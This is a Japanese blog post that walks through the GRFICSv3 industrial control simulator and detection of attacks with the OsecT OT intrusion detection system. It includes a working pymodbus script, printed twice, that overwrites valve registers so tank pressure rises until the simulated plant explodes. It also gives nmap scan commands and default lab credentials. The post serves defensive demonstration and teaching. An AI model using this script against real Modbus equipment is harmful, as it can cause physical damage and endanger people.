エンジニアリングワークステーション: http://localhost:6080/vnc.html 攻撃者端末: http://localhost:6088/vnc.html USER: kali, PASS: kali MITRE Caldera: http://localhost:8888 USER: red, PASS: fortiphyd-red PLC (OpenPLC): http://localhost:8080 USER: openplc, PASS: openplc HMI (Scada-LTS): http://localhost:6081 USER: admin, PASS: admin パケットの確認 GRFICSv3の各種コンテナが起動したら、 dummy0 と dummy1 インターフェースにパケットが流れていることを確認します。 tcpdumpコマンドなどで確認できます。 tcpdumpコマンドがインストールされていない場合は、 sudo apt install tcpdump コマンドでインストールしてください。 下記コマンドは、 dummy0 インターフェースに流れているパケットを観測する場合の例です。 sudo tcpdump -i dummy0 GRFICSv3はModbus TCPを利用しているため、下記のようにフィルタをかけるとModbus TCPの通信のみを観測できます。 sudo tcpdump -i dummy1 tcp dst port 502 以下、 dummy1 インターフェースに流れているModbus TCPの通信を実際に観測した際の出力になります。 5パケットのみキャプチャして終了するために、 -c5 オプションを付与しています。 $ sudo tcpdump -c5 -i dummy1 tcp dst port 502 tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on dummy1, link-type EN10MB (Ethernet), snapshot length 262144 bytes 10:23:22.238986 IP 192.168.90.107.39478 > 192.168.95.2.502: Flags [S], seq 1899401048, win 62720, options [mss 8960,sackOK,TS val 2744228717 ecr 0,nop,wscale 7], length 0 10:23:22.239100 IP 192.168.90.107.39478 > 192.168.95.2.502: Flags [.], ack 2756698681, win 490, options [nop,nop,TS val 2744228717 ecr 1980836816], length 0 10:23:22.239547 IP 192.168.90.107.39478 > 192.168.95.2.502: Flags [P.], seq 0:12, ack 1, win 490, options [nop,nop,TS val 2744228718 ecr 1980836816], length 12 10:23:22.256091 IP 192.168.90.107.39478 > 192.168.95.2.502: Flags [.], ack 11, win 490, options [nop,nop,TS val 2744228734 ecr 1980836833], length 0 10:23:22.291946 IP 192.168.90.107.39478 > 192.168.95.2.502: Flags [F.], seq 12, ack 11, win 490, options [nop,nop,TS val 2744228770 ecr 1980836833], length 0 5 packets captured 10 packets received by filter 0 packets dropped by kernel 以上で、GRFICSv3のセットアップは完了です。 OT IDS OsecTによる可視化 この章では、GRFICSv3の通信をOsecTで可視化してみます。 今回利用するOsecTは、開発用のものになります。 VM上にOsecTを構築しますが、お客さまが用意されたVM上にOsecTを構築するオプションは、2025年12月時点では提供されていないことにご留意いただけると幸いです。 そのため、今回はセットアップ手順を割愛させていただきます。 端末一覧画面 下記画面は、OsecTの端末一覧画面です。 GRFICSv3のPLCやHMIなどの各コンテナからの通信をもとに、作成されたものになります。 「接続サービス(To)」、「接続サービス(From)」の２つの列に着目してみます。 まず、「接続サービス(To)」です。 「接続サービス(To)」には、当該端末を起点に他の端末に接続したサービスが表示されます。 192.168.95.2のIPアドレスを持つ端末 (OpenPLC) に着目すると、 modbus (502/tcp) と記載されています。 このため、OpenPLCがModbus TCPのクライアントとして動作していることが分かります。 次に、「接続サービス(From)」です。 「接続サービス(From)」には、他の端末から当該端末に接続したサービスが表示されます。 同じく、192.168.95.2のIPアドレスを持つ端末 (OpenPLC) に着目すると、 http* (80/tcp),https* (443/tcp),modbus (502/tcp),http (8080/tcp) と記載されています。 このため、OpenPLCがHTTPサーバやModbus TCPのサーバとしても動作していることが分かります。 ちなみに、HTTPSは動作していないはずですが、私が誤ってHTTPSでアクセスを試行した際の通信が検知されたため、 https* (443/tcp) も表示されるようになったようです。 ちなみに、上記画面に映っている192.168.95.15, 192.168.95.14, 192.168.95.13のIPアドレスを持つ3つの端末は、MACアドレスが同じです。 これは、GRFICSv3のシミュレーションコンテナ上で複数のデバイスを模擬しているためのようです。 シミュレータという特性上、ある程度は許容すべき仕様かと思います。 ソースコードは公開されているので、機会があればGRFICSv3のシミュレーションコンテナ内で動作している各デバイスに個別のMACアドレスを割り当てる方法が無いか試すのも面白いかもしれません。 ネットワークマップ画面 下記画面は、OsecTのネットワークマップ画面です。 ネットワークマップ画面では、各端末の通信関係を視覚的に確認できます。 今回は、フィルター機能を利用して ICSネットワーク(192.168.95.0/24)内の通信のみを表示しています。 ノードやエッジをクリックすることで、右側に表示されているような通信の詳細情報を確認できます。 下記画面では、中心に緑色で表示されているOpenPLC(192.168.95.2)と、周辺に赤色で表示されているバルブやセンサーなどの各種デバイス(192.168.95.10～192.168.95.15)や、青色で表示さているエンジニアリングワークステーション(192.168.95.5)との通信関係が視覚的に確認できます。 各端末の色は、端末の役割に応じて自動的に設定されたものです。 OpenPLCはサーバとクライアント両方の機能が動作しているため緑色、エンジニアリングワークステーションはクライアントとして動作しているため青色、各種デバイスはサーバとして動作しているため赤色で表示されています。 攻撃の実行と検知 GRFICSv3は、先述のように攻撃用の端末も用意されています。 今回は、攻撃者端末から下記Pythonスクリプトを実行し、タンク内の圧力を上昇させてみます。 攻撃者端末を起動する まず、下記コマンドで攻撃者端末を起動します。 docker compose up -d kali その後、 http://localhost:6088/vnc.html にアクセスし、攻撃者端末にVNCで接続します。 せっかくなので動作確認も兼ねて、試しにICSネットワークに対してnmapコマンドでスキャンを行ってみます。 下記は、nmapを利用してModbus TCPで利用される502番ポートをスキャンした際のものです。 OpenPLCやシミュレーターなど、Modbus TCPサーバが動作している端末を確認できます。 $ nmap -sS -p 502 192.168.95.0/24 Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-21 03:12 UTC Nmap scan report for 192.168.95.2 Host is up (0.00034s latency). PORT STATE SERVICE 502/tcp open mbap Nmap scan report for 192.168.95.5 Host is up (0.00027s latency). PORT STATE SERVICE 502/tcp closed mbap Nmap scan report for 192.168.95.10 Host is up (0.000024s latency). PORT STATE SERVICE 502/tcp open mbap Nmap scan report for 192.168.95.11 Host is up (0.000027s latency). PORT STATE SERVICE 502/tcp open mbap Nmap scan report for 192.168.95.12 Host is up (0.00011s latency). PORT STATE SERVICE 502/tcp open mbap Nmap scan report for 192.168.95.13 Host is up (0.000072s latency). PORT STATE SERVICE 502/tcp open mbap Nmap scan report for 192.168.95.14 Host is up (0.000050s latency). PORT STATE SERVICE 502/tcp open mbap Nmap scan report for 192.168.95.15 Host is up (0.000055s latency). PORT STATE SERVICE 502/tcp open mbap Nmap scan report for 192.168.95.200 Host is up (0.000015s latency). PORT STATE SERVICE 502/tcp closed mbap Nmap done: 256 IP addresses (9 hosts up) scanned in 3.85 seconds OT IDS OsecTでの検知 下記画面は、ICSネットワークを監視しているOsecTで、攻撃者端末からのnmapスキャンを検知した際のものです。 検知種別「IP通信」は、プロトコル番号や送信元/宛先IPアドレス、ポート番号の組み合わせが正常時の通信に存在しない場合、発生(検知)するアラートです。 今回は、攻撃者端末からICSネットワークに対してnmapスキャンを行ったため検知しました。 ちなみに、もう1つのアラートは先述の問題により発生したもので、dummyインターフェースに他のIFに流れているはずのパケットが混入しているようです。 下記画面は、DMZネットワークを監視しているOsecTで、攻撃者端末の出現を検知した際のものです。 このように、攻撃者端末がICSネットワークに対してnmapスキャンを行った際に、新規端末の出現や不審な通信を検知できることが分かります。 攻撃スクリプトの実行 下記Pythonスクリプトを攻撃端末 (Kali) 上で実行します。 下記スクリプトは、Modbus TCPを利用して各バルブの開度を設定し続けるものです。 具体的には、A剤・B剤のバルブを全開にし、パージバルブとプロダクトバルブを閉じることで、タンク内の圧力上昇を目指します。 PLCからの正規の制御値を上書きし続けるために、ループで繰り返し設定します。 import time from pymodbus.client import ModbusTcpClient def main (): interval = 0.0005 # PLCの制御周期よりも短い間隔で設定を繰り返す # 下記、IPアドレスやポート、Unit ID、アドレスはOpenPLCのWebUIから確認可能 # 値(65535 や 0)は、各バルブの開度を設定するためのもの unit_id = 247 address = 1 targets = [ ( "192.168.95.10" , 502 , 65535 ), # Valve A ( "192.168.95.11" , 502 , 65535 ), # Valve B ( "192.168.95.12" , 502 , 0 ), # Purge Valve ( "192.168.95.13" , 502 , 0 ), # Product Valve ] # Modbus TCPクライアントの作成と接続 clients = [ModbusTcpClient(host, port=port, timeout= 2 ) for host, port, _ in targets] for c in clients: c.connect() # バルブの開度を設定し続ける # PLCからの正規の制御値を上書きし続けるために、ループで繰り返し設定する while True : for c, (_, _, value) in zip (clients, targets): c.write_registers(address, [value], slave=unit_id) time.sleep(interval) if __name__ == "__main__" : main() スクリプトの実行のために、下記コマンドで上記スクリプトを attack_modbus.py という名前で攻撃者端末上に作成します。 その後、 python3 attack_modbus.py コマンドで実行します。 コマンド（クリックすると開きます） cat <<EOF > attack_modbus.py import time from pymodbus.client import ModbusTcpClient def main(): interval = 0.0005 # 下記、IPアドレスやポート、Unit ID、アドレスはOpenPLCのWebUIから確認可能 # 値(65535 や 0)は、各バルブの開度を設定するためのもの unit_id = 247 address = 1 targets = [ ("192.168.95.10", 502, 65535), # Valve A ("192.168.95.11", 502, 65535), # Valve B ("192.168.95.12", 502, 0), # Purge Valve ("192.168.95.13", 502, 0), # Product Valve ] # Modbus TCPクライアントの作成と接続 clients = [ModbusTcpClient(host, port=port, timeout=2) for host, port, _ in targets] for c in clients: c.connect() # バルブの開度を設定し続ける # PLCからの正規の制御値を上書きし続けるために、ループで繰り返し設定する while True: for c, (_, _, value) in zip(clients, targets): c.write_registers(address, [value], slave=unit_id) time.sleep(interval) if __name__ == "__main__": main() EOF 上記スクリプトを実行後、下記のようにシミュレーター画面を確認すると、左側2つの原料の投入量を調整するためのバルブの数値が全開 (100%) 、右側2つの生成物を排出するためのバルブの数値が全閉 (0%) になっていることが分かります。 このため、実際に実行してみるとHMI上でタンク内の圧力の上昇を確認できます。 なお、上記HMIの画面では各バルブの開度がシミュレーターに表示されている内容と異なっています。これは正規のPLCからの制御値がHMIに反映されており、実際のバルブの値が反映されていない可能性があります（未確認）。 上記スクリプトを実行後、数分放置するとタンクの圧力が3,000kPaを超え、タンクから蒸気が噴出した後、最終的には下記のように爆発します。 OT IDS OsecTでの検知 今回は、検知機能のひとつである「IP通信」アラートでどのように今回の攻撃が検知されるのかを確認してみます。 IP通信アラートは、正常時のIPアドレスとポート番号の組み合わせを学習し、それと異なる通信が発生した場合にアラートを出す機能です。 下記画面は、ICSネットワークを監視しているOsecTで、攻撃者端末からの攻撃を検知した際のものです。 攻撃者端末(192.168.90.6)からバルブを制御するためのModbus TCPサーバ(192.168.95.10 ~ 192.168.95.13)に対して、502番ポートで多数の通信が発生していることが分かります。 これらの通信は、通常時には存在しなかった通信であるため、OsecTが異常として検知し、アラートを出しています。 おわりに 本記事では、GRFICSv3の各種画面を紹介し、IDS(OsecT)を利用してGRFICSv3の通信を可視化してみました。 また、攻撃者端末からModbus TCPを利用してタンク内の圧力を上昇させ、最終的にプラントを爆発させる攻撃も実施しました。 一部の画面や機能のみの紹介となりましたが、GRFICSv3は非常に良くできたシミュレータであり、制御ネットワークのセキュリティに興味がある方や、制御システムのサイバー攻撃を体験してみたい方にはお勧めのシミュレータです。 それでは明日の記事もお楽しみに！ IDS: Intrusion Detection System, 侵入検知システム。 ↩ Fortiphyd/GRFICSv3 README より。 ↩ Formby, D., Rad, M., and Beyah, R. Lowering the Barriers to Industrial Control System Security with GRFICS. In 2018 USENIX Workshop on Advances in Security Education (ASE 18). ↩ 具体的には、今回の検証中に dummy0 や dummy1 に他のIFに流れているはずのパケットが混入しているように見える事象が何度か発生しました。こちらは、VMもしくはコンテナの再起動時に発生するように見えましたが、現時点ではタイミングや原因を特定できていません。発生頻度が少なく混入するパケットも1度に数パケット程度であるため、今回は無視して進めました。 ↩

こんにちは、今回はVirtualBox上の仮想OSで動作しているプロセスに、ホストOSからアタッチしてデバッグする方法をご紹介いたします。